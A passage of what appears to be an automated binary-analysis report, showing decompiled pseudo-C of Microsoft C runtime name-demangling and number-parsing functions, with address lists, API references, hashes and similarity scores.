									_v32 = "char16_t";
									goto L62;
								case 6:
									_v32 = "decltype(auto)";
									_v28 = 0xe;
									goto L39;
								case 7:
									_v32 = "char32_t";
									L62:
									_v28 = 8;
									goto L39;
								case 8:
									goto L37;
								case 9:
									_v32 = "wchar_t";
									goto L38;
								case 0xa:
									__eax =  &_v32;
									 *0xca3e38 = __ecx;
									__eax = E00C5BD5A( &_v32);
									__ecx =  *__eax;
									_v16 = __ecx;
									_v12 = __eax[1];
									__eflags = __ecx;
									if(__ecx != 0) {
										goto L40;
									}
									L89:
									_t136 = _a4;
									 *_t136 = _t223;
									_t136[1] = _t229;
									goto L92;
							}
						}
						if(__eflags == 0) {
							L61:
							_v32 = "__int128";
							goto L62;
						}
						__eflags = _t138 - 0x47;
						if(__eflags > 0) {
							_t176 = _t138 - 0x48;
							__eflags = _t176;
							if(_t176 == 0) {
								L64:
								_v32 = "__int32";
								goto L38;
							}
							_t177 = _t176 - 1;
							__eflags = _t177;
							if(_t177 == 0) {
								goto L64;
							}
							_t178 = _t177 - 1;
							__eflags = _t178;
							if(_t178 == 0) {
								L63:
								_v32 = "__int64";
								goto L38;
							}
							_t179 = _t178 - 1;
							__eflags = _t179;
							if(_t179 == 0) {
								goto L63;
							}
							__eflags = _t179 != 1;
							if(_t179 != 1) {
								goto L37;
							}
							goto L61;
						}
						if(__eflags == 0) {
							L55:
							_v32 = "__int16";
							goto L38;
						}
						_t181 = _t138;
						__eflags = _t181;
						if(_t181 == 0) {
							 *0xca3e38 = _t211;
							_t212 =  &_v16;
							E00C59236( &_v16, 1);
							goto L40;
						}
						_t183 = _t181 - 0x24;
						__eflags = _t183;
						if(_t183 == 0) {
							_v32 = "__w64 ";
							_v28 = 6;
							E00C592B5(_t211, _a4,  &_v32, E00C5AAD4( &_v24, _a8));
							goto L91;
						}
						_t188 = _t183 - 0x20;
						__eflags = _t188;
						if(_t188 == 0) {
							L52:
							_v32 = "__int8";
							_v28 = 6;
							goto L39;
						}
						_t189 = _t188 - 1;
						__eflags = _t189;
						if(_t189 == 0) {
							goto L52;
						}
						__eflags = _t189 == 1;
						if(_t189 == 1) {
							goto L55;
						}
						goto L37;
					}
					L18:
					 *0xca3e38 = _t211 - 1;
					_t193 = E00C5BD5A( &_v32);
					_t223 =  *_t193;
					_t229 = _t193[1];
					_v16 = _t223;
					_v12 = _t229;
					__eflags = _t223;
					if(_t223 == 0) {
						goto L89;
					}
					L19:
					_t142 = 0;
					_t204 = _t202 - 0x43;
					if(_t204 == 0) {
						_v32 = "signed ";
						_v28 = 7;
						goto L48;
					}
					_t205 = _t204 - _t235;
					if(_t205 == 0) {
						L26:
						_v28 = 9;
						goto L47;
					}
					_t206 = _t205 - _t235;
					if(_t206 == 0) {
						goto L26;
					}
					_t207 = _t206 - _t235;
					if(_t207 == 0) {
						goto L26;
					}
					_t208 = _t207 - _t235;
					if(_t208 == 0) {
						goto L26;
					}
					if(_t208 == 0x14) {
						goto L41;
					} else {
						goto L49;
					}
				}
				if(_t247 == 0) {
					_v32 = "void";
					_v28 = 4;
					L12:
					_t212 =  &_v16;
					E00C591A0( &_v16,  &_v32);
					goto L49;
				}
				_t3 = _t202 - 0x43; // -67
				_t196 = _t3;
				if(_t196 > 0x10) {
					goto L18;
				}
				_t4 = _t196 + 0xc5afc4; // 0x4508908
				switch( *((intOrPtr*)(( *_t4 & 0x000000ff) * 4 +  &M00C5AFA0))) {
					case 0:
						_v32 = "char";
						goto L6;
					case 1:
						_v32 = "short";
						_v28 = 5;
						goto L7;
					case 2:
						_v32 = "int";
						_v28 = 3;
						goto L7;
					case 3:
						_v32 = "long";
						L6:
						_v28 = 4;
						L7:
						_t212 =  &_v16;
						E00C591A0( &_v16,  &_v32);
						goto L19;
					case 4:
						_v32 = "float";
						_v28 = 5;
						goto L12;
					case 5:
						L14:
						__eax =  &_v32;
						_v32 = "double";
						__ecx =  &_v16;
						_v28 = 6;
						__eax = E00C593E8(__ecx,  &_v32);
						goto L19;
					case 6:
						__eax =  &_v32;
						_v32 = "long ";
						__ecx =  &_v16;
						_v28 = 5;
						__eax = E00C591A0( &_v16,  &_v32);
						goto L14;
					case 7:
						__ebx = __ebx & 0x00000003;
						goto L68;
					case 8:
						goto L18;
				}
			}

0x00c5aad7
0x00c5aae0
0x00c5aae7
0x00c5af8f
0x00c5af97
0x00c5af97
0x00c5af9a
0x00c5af9e
0x00c5af9e
0x00c5aaef
0x00c5aaf2
0x00c5aaf5
0x00c5aaf6
0x00c5aaf9
0x00c5aaff
0x00c5ab04
0x00c5ab05
0x00c5ab08
0x00c5abe3
0x00c5abe6
0x00c5ac51
0x00c5ac53
0x00c5ac56
0x00c5ac5b
0x00c5ac5e
0x00c5ac61
0x00c5ac64
0x00c5adf0
0x00c5adf3
0x00c5adf6
0x00c5acac
0x00c5acac
0x00c5acb3
0x00c5acb3
0x00c5acba
0x00c5acbe
0x00c5acc1
0x00c5acc6
0x00c5acc6
0x00c5acc9
0x00c5accc
0x00c5accc
0x00c5accf
0x00c5ace1
0x00c5ace1
0x00c5ace4
0x00c5ace4
0x00c5aceb
0x00c5acff
0x00c5ad01
0x00c5ad09
0x00c5ad0f
0x00c5ad12
0x00c5ad12
0x00c5ad18
0x00c5ad2d
0x00c5ad2d
0x00c5ad32
0x00c5ad38
0x00c5ad3d
0x00000000
0x00c5ad3d
0x00c5acd1
0x00c5acd1
0x00c5acd3
0x00000000
0x00000000
0x00c5acd5
0x00c5acd5
0x00c5acd7
0x00000000
0x00000000
0x00c5acd9
0x00c5acd9
0x00c5acdb
0x00000000
0x00000000
0x00c5acdd
0x00c5acdf
0x00000000
0x00000000
0x00000000
0x00c5acdf
0x00c5adfc
0x00000000
0x00c5aeec
0x00000000
0x00000000
0x00c5ae03
0x00c5ae05
0x00c5ae06
0x00c5ae08
0x00c5ae08
0x00c5ae0b
0x00c5ae0e
0x00c5ae11
0x00c5ae13
0x00c5ae16
0x00c5ae19
0x00c5ae1c
0x00c5ae1f
0x00c5ae6c
0x00c5ae6e
0x00c5ae72
0x00c5ae75
0x00c5ae78
0x00c5aeb4
0x00c5aeb6
0x00c5aebb
0x00c5aec6
0x00c5aecd
0x00c5aecd
0x00c5ae7a
0x00c5ae7d
0x00c5ae88
0x00c5ae8f
0x00c5ae94
0x00c5ae96
0x00c5ae9b
0x00c5aea6
0x00c5aead
0x00c5aead
0x00c5ae96
0x00c5ae78
0x00c5aedf
0x00000000
0x00c5aee4
0x00c5ae28
0x00c5ae38
0x00c5ae3d
0x00c5ae43
0x00c5ae45
0x00c5ae4a
0x00c5ae55
0x00c5ae5c
0x00c5ae61
0x00c5ae61
0x00c5ae64
0x00000000
0x00000000
0x00c5af3e
0x00c5aef3
0x00c5aef3
0x00000000
0x00000000
0x00c5af0e
0x00000000
0x00000000
0x00c5aeff
0x00c5af06
0x00000000
0x00000000
0x00c5af1a
0x00000000
0x00000000
0x00c5af47
0x00c5af4e
0x00000000
0x00000000
0x00c5af26
0x00c5adcc
0x00c5adcc
0x00000000
0x00000000
0x00000000
0x00000000
0x00c5af32
0x00000000
0x00000000
0x00c5af5a
0x00c5af5d
0x00c5af64
0x00c5af6a
0x00c5af6f
0x00c5af72
0x00c5af75
0x00c5af77
0x00000000
0x00000000
0x00c5af7d
0x00c5af7d
0x00c5af80
0x00c5af82
0x00000000
0x00000000
0x00c5adfc
0x00c5ac6a
0x00c5adc5
0x00c5adc5
0x00000000
0x00c5adc5
0x00c5ac70
0x00c5ac73
0x00c5ada8
0x00c5ada8
0x00c5adab
0x00c5ade4
0x00c5ade4
0x00000000
0x00c5ade4
0x00c5adad
0x00c5adad
0x00c5adb0
0x00000000
0x00000000
0x00c5adb2
0x00c5adb2
0x00c5adb5
0x00c5add8
0x00c5add8
0x00000000
0x00c5add8
0x00c5adb7
0x00c5adb7
0x00c5adba
0x00000000
0x00000000
0x00c5adbc
0x00c5adbf
0x00000000
0x00000000
0x00000000
0x00c5adbf
0x00c5ac79
0x00c5ad9c
0x00c5ad9c
0x00000000
0x00c5ad9c
0x00c5ac7f
0x00c5ac7f
0x00c5ac82
0x00c5ad87
0x00c5ad8d
0x00c5ad92
0x00000000
0x00c5ad92
0x00c5ac88
0x00c5ac88
0x00c5ac8b
0x00c5ad5e
0x00c5ad66
0x00c5ad7a
0x00000000
0x00c5ad7f
0x00c5ac91
0x00c5ac91
0x00c5ac94
0x00c5ad45
0x00c5ad45
0x00c5ad4c
0x00000000
0x00c5ad4c
0x00c5ac9a
0x00c5ac9a
0x00c5ac9d
0x00000000
0x00000000
0x00c5aca3
0x00c5aca6
0x00000000
0x00000000
0x00000000
0x00c5aca6
0x00c5abe8
0x00c5abeb
0x00c5abf4
0x00c5abfa
0x00c5abfc
0x00c5abff
0x00c5ac02
0x00c5ac05
0x00c5ac07
0x00000000
0x00000000
0x00c5ac0d
0x00c5ac0d
0x00c5ac0f
0x00c5ac12
0x00c5ac3e
0x00c5ac45
0x00000000
0x00c5ac45
0x00c5ac14
0x00c5ac16
0x00c5ac32
0x00c5ac32
0x00000000
0x00c5ac32
0x00c5ac18
0x00c5ac1a
0x00000000
0x00000000
0x00c5ac1c
0x00c5ac1e
0x00000000
0x00000000
0x00c5ac20
0x00c5ac22
0x00000000
0x00000000
0x00c5ac27
0x00000000
0x00c5ac2d
0x00000000
0x00c5ac2d
0x00c5ac27
0x00c5ab0e
0x00c5abd3
0x00c5abda
0x00c5ab84
0x00c5ab88
0x00c5ab8b
0x00000000
0x00c5ab8b
0x00c5ab14
0x00c5ab14
0x00c5ab1a
0x00000000
0x00000000
0x00c5ab20
0x00c5ab27
0x00000000
0x00c5ab2e
0x00000000
0x00000000
0x00c5ab4d
0x00c5ab54
0x00000000
0x00000000
0x00c5ab5d
0x00c5ab64
0x00000000
0x00000000
0x00c5ab6d
0x00c5ab35
0x00c5ab35
0x00c5ab3c
0x00c5ab40
0x00c5ab43
0x00000000
0x00000000
0x00c5ab76
0x00c5ab7d
0x00000000
0x00000000
0x00c5abaf
0x00c5abaf
0x00c5abb2
0x00c5abba
0x00c5abbd
0x00c5abc4
0x00000000
0x00000000
0x00c5ab95
0x00c5ab98
0x00c5aba0
0x00c5aba3
0x00c5abaa
0x00000000
0x00000000
0x00c5abcb
0x00000000
0x00000000
0x00000000
0x00000000

APIs

shared_ptr.LIBCMT ref: 00C5AB43
shared_ptr.LIBCMT ref: 00C5AB8B
shared_ptr.LIBCMT ref: 00C5ABAA
shared_ptr.LIBCMT ref: 00C5ACC1
DName::operator+.LIBCMT ref: 00C5AD01
operator+.LIBVCRUNTIME ref: 00C5AD7A
DName::operator=.LIBVCRUNTIME ref: 00C5AD92
shared_ptr.LIBCMT ref: 00C5AE8F
shared_ptr.LIBCMT ref: 00C5AECD
operator+.LIBVCRUNTIME ref: 00C5AF8F

Memory Dump Source

Source File: 00000002.00000002.208085842.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000002.00000002.208082683.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208116582.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208123710.0000000000CA3000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.208127462.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: shared_ptr$operator+$Name::operator+Name::operator=
String ID:
API String ID: 1464150960-0
Opcode ID: 14561807e6a229337b39c3757da984c10c58db2a06b64bcd33d0bd9af4974ca1
Instruction ID: 42c9e404ed3eb70bfe165ca393c950c943d0bb5a18f93e2216a8c31d9add8186
Opcode Fuzzy Hash: 14561807e6a229337b39c3757da984c10c58db2a06b64bcd33d0bd9af4974ca1
Instruction Fuzzy Hash: EED162B9C0420ADFCF04DF96C4886BEBBB4EB04306F14825AE92167250D7755B8DDF9A

Uniqueness

Uniqueness Score: -1.00%

Function 00C5E349, Relevance: 15.3, APIs: 10, Instructions: 285
COMMON

Download Yara Rule

C-Code - Quality: 84%

			E00C5E349(signed int* _a4) {
				signed int _v8;
				long _v24;
				signed int _v28;
				signed int _v32;
				char _v36;
				wchar_t** _v40;
				char _v48;
				signed int __ebx;
				signed int* __edi;
				signed int __esi;
				void* __ebp;
				signed int _t72;
				signed int* _t74;
				signed int _t75;
				void* _t76;
				signed int _t82;
				signed int _t99;
				signed int _t101;
				signed int _t103;
				signed int _t105;
				signed int _t107;
				signed int _t108;
				signed int _t114;
				void* _t117;
				void* _t119;
				char** _t125;
				void* _t127;
				void* _t130;
				signed int _t134;
				char** _t147;
				signed int* _t158;
				signed int* _t159;
				void* _t160;
				signed int _t161;
				void* _t162;
				void* _t163;

				_t72 =  *0xca3098; // 0x75d6936a
				_v8 = _t72 ^ _t161;
				_t74 =  *0xca3e38; // 0x0
				_t2 =  &(_t74[0]); // 0x1
				_t158 = _t2;
				_t159 = _a4;
				_t134 =  *_t74;
				_t75 = _t134;
				 *0xca3e38 = _t158;
				_t162 = _t75 - 0x46;
				if(_t162 > 0) {
					_t76 = _t75 - 0x47;
					__eflags = _t76 - 0xf;
					if(_t76 > 0xf) {
						goto L65;
					} else {
						_t16 = _t76 + 0xc5e6ed; // 0xfd43e900
						switch( *((intOrPtr*)(( *_t16 & 0x000000ff) * 4 +  &M00C5E6D1))) {
							case 0:
								goto L34;
							case 1:
								__eax =  &_v40;
								__eax = E00C5E6FD(__ebx, __edx, __esi,  &_v40);
								__eflags = _v36 - 1;
								if(_v36 > 1) {
									goto L65;
								} else {
									__eax = E00C5E349(__edi);
									goto L11;
								}
								goto L66;
							case 2:
								_v40 = "nullptr";
								__eax =  &_v40;
								_v36 = 7;
								goto L16;
							case 3:
								goto L65;
							case 4:
								 &_v40 = E00C5DCC1(__edx,  &_v40);
								__eax =  &_v24;
								__ecx =  &_v40;
								E00C5DD50(__ecx,  &_v24, 0x10) =  &_v24;
								__eax = E00C7AB43(__ecx,  &_v24);
								__eflags =  *0xca3e40 & 0x00004000;
								__esi = __eax;
								if(( *0xca3e40 & 0x00004000) == 0) {
									L53:
									__esi = __esi & 0x00000fff;
									 &_v24 = swprintf( &_v24, 0x10, "%d", __esi);
									_v28 = 0;
									__eax =  &_v24;
									__ecx =  &_v32;
									_push(_v28);
									__eax = E00C58A6A(__ecx,  &_v24);
									__ebx = __ebx - 0x52;
									__eflags = __ebx;
									if(__ebx == 0) {
										L61:
										_v40 = "`template-type-parameter-";
										goto L60;
									} else {
										__ebx = __ebx - 1;
										__ebx = __ebx - 1;
										__eflags = __ebx;
										if(__ebx == 0) {
											goto L61;
										} else {
											__ebx = __ebx - 1;
											__eflags = __ebx;
											if(__ebx == 0) {
												_v40 = "`generic-class-parameter-";
												L60:
												_v36 = 0x19;
												goto L58;
											} else {
												__ebx = __ebx - 1;
												__eflags = __ebx;
												if(__ebx != 0) {
													goto L65;
												} else {
													_v40 = "`generic-method-parameter-";
													_v36 = 0x1a;
													L58:
													__eax =  &_v40;
													__ecx =  &_v48;
													__eax = E00C58EDB( &_v48,  &_v40);
													 &_v32 =  &_v40;
													__ecx = __eax;
													__eax = E00C59346(__eax,  &_v40,  &_v32);
													_push(0x27);
													__ecx =  &_v40;
													goto L47;
												}
											}
										}
									}
								} else {
									__ecx =  *0xca3e48; // 0x0
									_v28 = __ecx;
									__eflags = __ecx;
									if(__ecx == 0) {
										goto L53;
									} else {
										_push(__eax);
										__eax =  *0xc991a4();
										__eax = _v28();
										_pop(__ecx);
										__eflags = __eax;
										if(__eax == 0) {
											goto L53;
										} else {
											_v28 = 0;
											__ecx = __edi;
											_push(_v28);
											__eax = E00C58ADD(__ecx, __eax);
										}
									}
								}
								goto L66;
							case 5:
								 *__edi =  *__edi & 0x00000000;
								__edi[1] = __edi[1] & 0x00000000;
								goto L66;
						}
					}
				} else {
					if(_t162 == 0) {
						L34:
						_v32 = _v32 & 0x00000000;
						_v28 = _v28 & 0x00000000;
						E00C5A438( &_v32, 0x7b);
						_t82 = _t134 - 0x48;
						__eflags = _t82;
						if(__eflags == 0) {
							L37:
							_push( &_v40);
							E00C59440( &_v32, E00C5B971(_t134, _t159, _t160, __eflags));
							E00C59497( &_v32, 0x2c);
						} else {
							_t99 = _t82 - 1;
							__eflags = _t99;
							if(__eflags == 0) {
								goto L37;
							} else {
								__eflags = _t99 - 1;
								if(__eflags == 0) {
									goto L37;
								}
							}
						}
						_t134 = _t134 - 0x46;
						__eflags = _t134;
						if(_t134 == 0) {
							L44:
							E00C59440( &_v32, E00C5DCC1(_t158,  &_v40));
							E00C59497( &_v32, 0x2c);
							goto L45;
						} else {
							_t134 = _t134 - 1;
							__eflags = _t134;
							if(_t134 == 0) {
								L43:
								E00C59440( &_v32, E00C5DCC1(_t158,  &_v40));
								E00C59497( &_v32, 0x2c);
								goto L44;
							} else {
								_t134 = _t134 - 1;
								__eflags = _t134;
								if(_t134 == 0) {
									L45:
									E00C59440( &_v32, E00C5DCC1(_t158,  &_v40));
								} else {
									_t134 = _t134 - 1;
									__eflags = _t134;
									if(_t134 == 0) {
										goto L44;
									} else {
										_t134 = _t134 - 1;
										__eflags = _t134;
										if(_t134 == 0) {
											goto L43;
										}
									}
								}
							}
						}
						_push(0x7d);
						_t147 =  &_v32;
						L47:
						_push(_t159);
						E00C59368(_t147);
					} else {
						_t163 = _t75 - 0x36;
						if(_t163 > 0) {
							_t101 = _t75 - 0x37;
							__eflags = _t101;
							if(_t101 == 0) {
								E00C5ECD4(_t134, _t158, _t159, _t159);
								goto L11;
							} else {
								_t103 = _t101 - 1;
								__eflags = _t103;
								if(_t103 == 0) {
									E00C5D0F3(_t158, _t159, _t159);
									goto L11;
								} else {
									_t105 = _t103 - 9;
									__eflags = _t105;
									if(_t105 == 0) {
										L29:
										E00C5C234(_t134, _t158, _t159, _t159, _t134);
										goto L11;
									} else {
										_t107 = _t105 - 1;
										__eflags = _t107;
										if(_t107 == 0) {
											goto L29;
										} else {
											_t108 = _t107 - 1;
											__eflags = _t108;
											if(_t108 == 0) {
												E00C5A75B(_t159);
												goto L11;
											} else {
												__eflags = _t108;
												if(__eflags != 0) {
													goto L65;
												} else {
													_push(_t159);
													E00C5B971(_t134, _t159, _t160, __eflags);
													goto L11;
												}
											}
										}
									}
								}
							}
						} else {
							if(_t163 == 0) {
								E00C5C7D3(_t158, _t159, _t159);
								goto L11;
							} else {
								_t114 = _t75;
								if(_t114 == 0) {
									_t15 = _t158 - 1; // 0x0
									 *0xca3e38 = _t15;
									E00C58F7B(_t159, 1);
								} else {
									_t117 = _t114 - 0x30;
									if(_t117 == 0) {
										E00C5DCC1(_t158, _t159);
										goto L11;
									} else {
										_t119 = _t117 - 1;
										if(_t119 == 0) {
											__eflags =  *_t158 - 0x40;
											if( *_t158 != 0x40) {
												_v32 = _v32 & 0x00000000;
												_v28 = _v28 & 0x00000000;
												E00C5A438( &_v32, 0x26);
												_push( &_v40);
												E00C59346( &_v32, _t159, E00C5B971(_t134, _t159, _t160, __eflags));
											} else {
												_t4 =  &(_t158[0]); // 0x2
												_v32 = "NULL";
												 *0xca3e38 = _t4;
												_t125 =  &_v32;
												_v28 = 4;
												L16:
												E00C58EDB(_t159, _t125);
											}
										} else {
											_t127 = _t119 - 1;
											if(_t127 == 0) {
												E00C5EE47(_t134, _t158, _t160, _t159);
												goto L11;
											} else {
												_t130 = _t127;
												if(_t130 == 0) {
													E00C5DF8D(_t159);
													goto L11;
												} else {
													if(_t130 != 1) {
														L65:
														_t159[1] = _t159[1] & 0x00000000;
														 *_t159 =  *_t159 & 0x00000000;
														__eflags =  *_t159;
														_t159[1] = 2;
													} else {
														E00C5A4C2(_t159);
														L11:
													}
												}
											}
										}
									}
								}
							}
						}
					}
				}
				L66:
				return E00C572B1(_t159, _t134, _v8 ^ _t161, _t158, _t159, _t160);
			}

0x00c5e34f
0x00c5e356
0x00c5e359
0x00c5e363
0x00c5e363
0x00c5e366
0x00c5e369
0x00c5e36c
0x00c5e36e
0x00c5e374
0x00c5e377
0x00c5e4b4
0x00c5e4b7
0x00c5e4ba
0x00000000
0x00c5e4c0
0x00c5e4c0
0x00c5e4c7
0x00000000
0x00000000
0x00000000
0x00c5e683
0x00c5e687
0x00c5e68c
0x00c5e691
0x00000000
0x00c5e693
0x00c5e694
0x00000000
0x00c5e694
0x00000000
0x00000000
0x00c5e69e
0x00c5e6a5
0x00c5e6a8
0x00000000
0x00000000
0x00000000
0x00000000
0x00c5e594
0x00c5e59c
0x00c5e5a0
0x00c5e5a8
0x00c5e5ac
0x00c5e5b1
0x00c5e5bb
0x00c5e5be
0x00c5e5f5
0x00c5e5f5
0x00c5e607
0x00c5e60f
0x00c5e613
0x00c5e616
0x00c5e619
0x00c5e61d
0x00c5e622
0x00c5e622
0x00c5e625
0x00c5e67a
0x00c5e67a
0x00000000
0x00c5e627
0x00c5e627
0x00c5e628
0x00c5e628
0x00c5e62b
0x00000000
0x00c5e62d
0x00c5e62d
0x00c5e62d
0x00c5e630
0x00c5e66a
0x00c5e671
0x00c5e671
0x00000000
0x00c5e632
0x00c5e632
0x00c5e632
0x00c5e635
0x00000000
0x00c5e637
0x00c5e637
0x00c5e63e
0x00c5e645
0x00c5e645
0x00c5e649
0x00c5e64c
0x00c5e655
0x00c5e659
0x00c5e65b
0x00c5e660
0x00c5e662
0x00000000
0x00c5e662
0x00c5e635
0x00c5e630
0x00c5e62b
0x00c5e5c0
0x00c5e5c0
0x00c5e5c6
0x00c5e5c9
0x00c5e5cb
0x00000000
0x00c5e5cd
0x00c5e5d2
0x00c5e5d3
0x00c5e5d9
0x00c5e5dc
0x00c5e5dd
0x00c5e5df
0x00000000
0x00c5e5e1
0x00c5e5e1
0x00c5e5e5
0x00c5e5e7
0x00c5e5eb
0x00c5e5eb
0x00c5e5df
0x00c5e5cb
0x00000000
0x00000000
0x00c5e584
0x00c5e587
0x00000000
0x00000000
0x00c5e4c7
0x00c5e37d
0x00c5e37d
0x00c5e4ce
0x00c5e4ce
0x00c5e4d5
0x00c5e4db
0x00c5e4e2
0x00c5e4e2
0x00c5e4e5
0x00c5e4f1
0x00c5e4f4
0x00c5e4ff
0x00c5e509
0x00c5e4e7
0x00c5e4e7
0x00c5e4e7
0x00c5e4ea
0x00000000
0x00c5e4ec
0x00c5e4ec
0x00c5e4ef
0x00000000
0x00000000
0x00c5e4ef
0x00c5e4ea
0x00c5e50e
0x00c5e50e
0x00c5e511
0x00c5e544
0x00c5e552
0x00c5e55c
0x00000000
0x00c5e513
0x00c5e513
0x00c5e513
0x00c5e516
0x00c5e527
0x00c5e535
0x00c5e53f
0x00000000
0x00c5e518
0x00c5e518
0x00c5e518
0x00c5e51b
0x00c5e561
0x00c5e56f
0x00c5e51d
0x00c5e51d
0x00c5e51d
0x00c5e520
0x00000000
0x00c5e522
0x00c5e522
0x00c5e522
0x00c5e525
0x00000000
0x00000000
0x00c5e525
0x00c5e520
0x00c5e51b
0x00c5e516
0x00c5e574
0x00c5e576
0x00c5e579
0x00c5e579
0x00c5e57a
0x00c5e383
0x00c5e383
0x00c5e386
0x00c5e458
0x00c5e458
0x00c5e45b
0x00c5e4aa
0x00000000
0x00c5e45d
0x00c5e45d
0x00c5e45d
0x00c5e460
0x00c5e49f
0x00000000
0x00c5e462
0x00c5e462
0x00c5e462
0x00c5e465
0x00c5e491
0x00c5e493
0x00000000
0x00c5e467
0x00c5e467
0x00c5e467
0x00c5e46a
0x00000000
0x00c5e46c
0x00c5e46c
0x00c5e46c
0x00c5e46f
0x00c5e487
0x00000000
0x00c5e471
0x00c5e472
0x00c5e475
0x00000000
0x00c5e47b
0x00c5e47b
0x00c5e47c
0x00000000
0x00c5e47c
0x00c5e475
0x00c5e46f
0x00c5e46a
0x00c5e465
0x00c5e460
0x00c5e38c
0x00c5e38c
0x00c5e44e
0x00000000
0x00c5e392
0x00c5e392
0x00c5e395
0x00c5e437
0x00c5e43e
0x00c5e443
0x00c5e39b
0x00c5e39b
0x00c5e39e
0x00c5e430
0x00000000
0x00c5e3a4
0x00c5e3a4
0x00c5e3a7
0x00c5e3d9
0x00c5e3dc
0x00c5e404
0x00c5e40b
0x00c5e411
0x00c5e419
0x00c5e425
0x00c5e3de
0x00c5e3de
0x00c5e3e1
0x00c5e3e8
0x00c5e3ed
0x00c5e3f0
0x00c5e3f7
0x00c5e3fa
0x00c5e3fa
0x00c5e3a9
0x00c5e3a9
0x00c5e3ac
0x00c5e3d2
0x00000000
0x00c5e3ae
0x00c5e3af
0x00c5e3b2
0x00c5e3ca
0x00000000
0x00c5e3b4
0x00c5e3b7
0x00c5e6b4
0x00c5e6b4
0x00c5e6b8
0x00c5e6b8
0x00c5e6bb
0x00c5e3bd
0x00c5e3be
0x00c5e3c3
0x00c5e3c3
0x00c5e3b7
0x00c5e3b2
0x00c5e3ac
0x00c5e3a7
0x00c5e39e
0x00c5e395
0x00c5e38c
0x00c5e386
0x00c5e37d
0x00c5e6bf
0x00c5e6cf

APIs

DName::operator+.LIBCMT ref: 00C5E425
UnDecorator::getSignedDimension.LIBCMT ref: 00C5E430
DName::DName.LIBVCRUNTIME ref: 00C5E443
UnDecorator::getSignedDimension.LIBCMT ref: 00C5E52B
UnDecorator::getSignedDimension.LIBCMT ref: 00C5E548
UnDecorator::getSignedDimension.LIBCMT ref: 00C5E565
DName::operator+.LIBCMT ref: 00C5E57A
UnDecorator::getSignedDimension.LIBCMT ref: 00C5E594
swprintf.LIBCMT ref: 00C5E607
DName::operator+.LIBCMT ref: 00C5E65B

Part of subcall function 00C5A4C2: DName::DName.LIBVCRUNTIME ref: 00C5A4D7

Memory Dump Source

Source File: 00000002.00000002.208085842.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000002.00000002.208082683.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208116582.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208123710.0000000000CA3000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.208127462.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: Decorator::getDimensionSigned$Name::operator+$NameName::$swprintf
String ID:
API String ID: 3689813335-0
Opcode ID: 48eda05772e13e9617b86258a9c19aab22f6b958d16c8066dde213fe2079d018
Instruction ID: 70a9aa68a7122a03b189f2a965c6585056f9d7c96c715b01a4e6aaf178e40689
Opcode Fuzzy Hash: 48eda05772e13e9617b86258a9c19aab22f6b958d16c8066dde213fe2079d018
Instruction Fuzzy Hash: 2E91F77A80020A9ACB1CEBB5D999BFE7778AF15302F100115F811A6191DB789BCCE75D

Uniqueness

Uniqueness Score: -1.00%

Function 00C62A0B, Relevance: 14.5, APIs: 1, Strings: 7, Instructions: 496
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E00C62A0B(intOrPtr _a4, signed int _a8, intOrPtr* _a12, signed int _a16, signed char _a20) {
				signed int _v8;
				signed int _v12;
				signed short* _v16;
				signed int _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				intOrPtr _v84;
				intOrPtr _v88;
				intOrPtr _v92;
				intOrPtr _v96;
				intOrPtr _v100;
				intOrPtr _v104;
				intOrPtr _v108;
				intOrPtr _v112;
				intOrPtr _v116;
				intOrPtr _v120;
				intOrPtr _v124;
				intOrPtr _v128;
				intOrPtr _v132;
				intOrPtr _v136;
				intOrPtr _v140;
				intOrPtr _v144;
				intOrPtr _v148;
				signed int _v152;
				signed short* _v156;
				signed short* _v160;
				signed int _v164;
				intOrPtr _v168;
				signed short* _v172;
				char _v176;
				char _v188;
				signed short* _t176;
				signed int _t177;
				signed int _t178;
				signed short* _t179;
				signed int _t180;
				signed int _t182;
				signed int _t183;
				signed int _t184;
				intOrPtr _t186;
				void* _t187;
				signed char _t189;
				signed int _t193;
				signed int _t194;
				signed int _t196;
				void* _t199;
				intOrPtr _t200;
				signed int _t208;
				signed int _t209;
				signed short* _t211;
				signed int _t212;
				signed int _t214;
				intOrPtr _t219;
				void* _t220;
				signed short* _t221;
				signed int _t222;
				signed short* _t223;
				intOrPtr _t224;
				void* _t228;
				signed short* _t230;
				signed int _t232;
				signed short* _t234;
				signed int _t235;
				signed int _t236;
				signed int _t237;
				signed int _t238;
				signed int _t239;
				signed short* _t240;
				intOrPtr* _t244;
				signed short _t245;

				if(E00C6359B( &_a8) == 0) {
					L5:
					_t235 = 0;
					_t208 = 0;
					L6:
					_t244 = _a12;
					if(_t244 != 0) {
						 *_t244 = _a8;
					}
					return _t235;
				}
				_t209 = _a16;
				_t236 = 2;
				if(_t209 == 0) {
					L9:
					_t217 =  &_v188;
					E00C6199B( &_v188, _t228, _a4);
					_v12 = 0;
					_v20 = 0;
					_t176 = _a8;
					_v172 = _t176;
					_t245 =  *_t176 & 0x0000ffff;
					_t177 =  &(_t176[1]);
					L11:
					_a8 = _t177;
					_t178 = E00C61C47(_t217, _t245, 8);
					_pop(_t217);
					__eflags = _t178;
					if(_t178 != 0) {
						_t179 = _a8;
						_t245 =  *_t179 & 0x0000ffff;
						_t177 = _t179 + _t236;
						__eflags = _t177;
						goto L11;
					}
					_t180 = _a20 & 0x000000ff;
					_v8 = _t180;
					__eflags = _t245 - 0x2d;
					if(_t245 != 0x2d) {
						__eflags = _t245 - 0x2b;
						if(_t245 != 0x2b) {
							_t230 = _a8;
							goto L17;
						}
						goto L15;
					} else {
						_v8 = _t180 | _t236;
						L15:
						_t234 = _a8;
						_t245 =  *_t234 & 0x0000ffff;
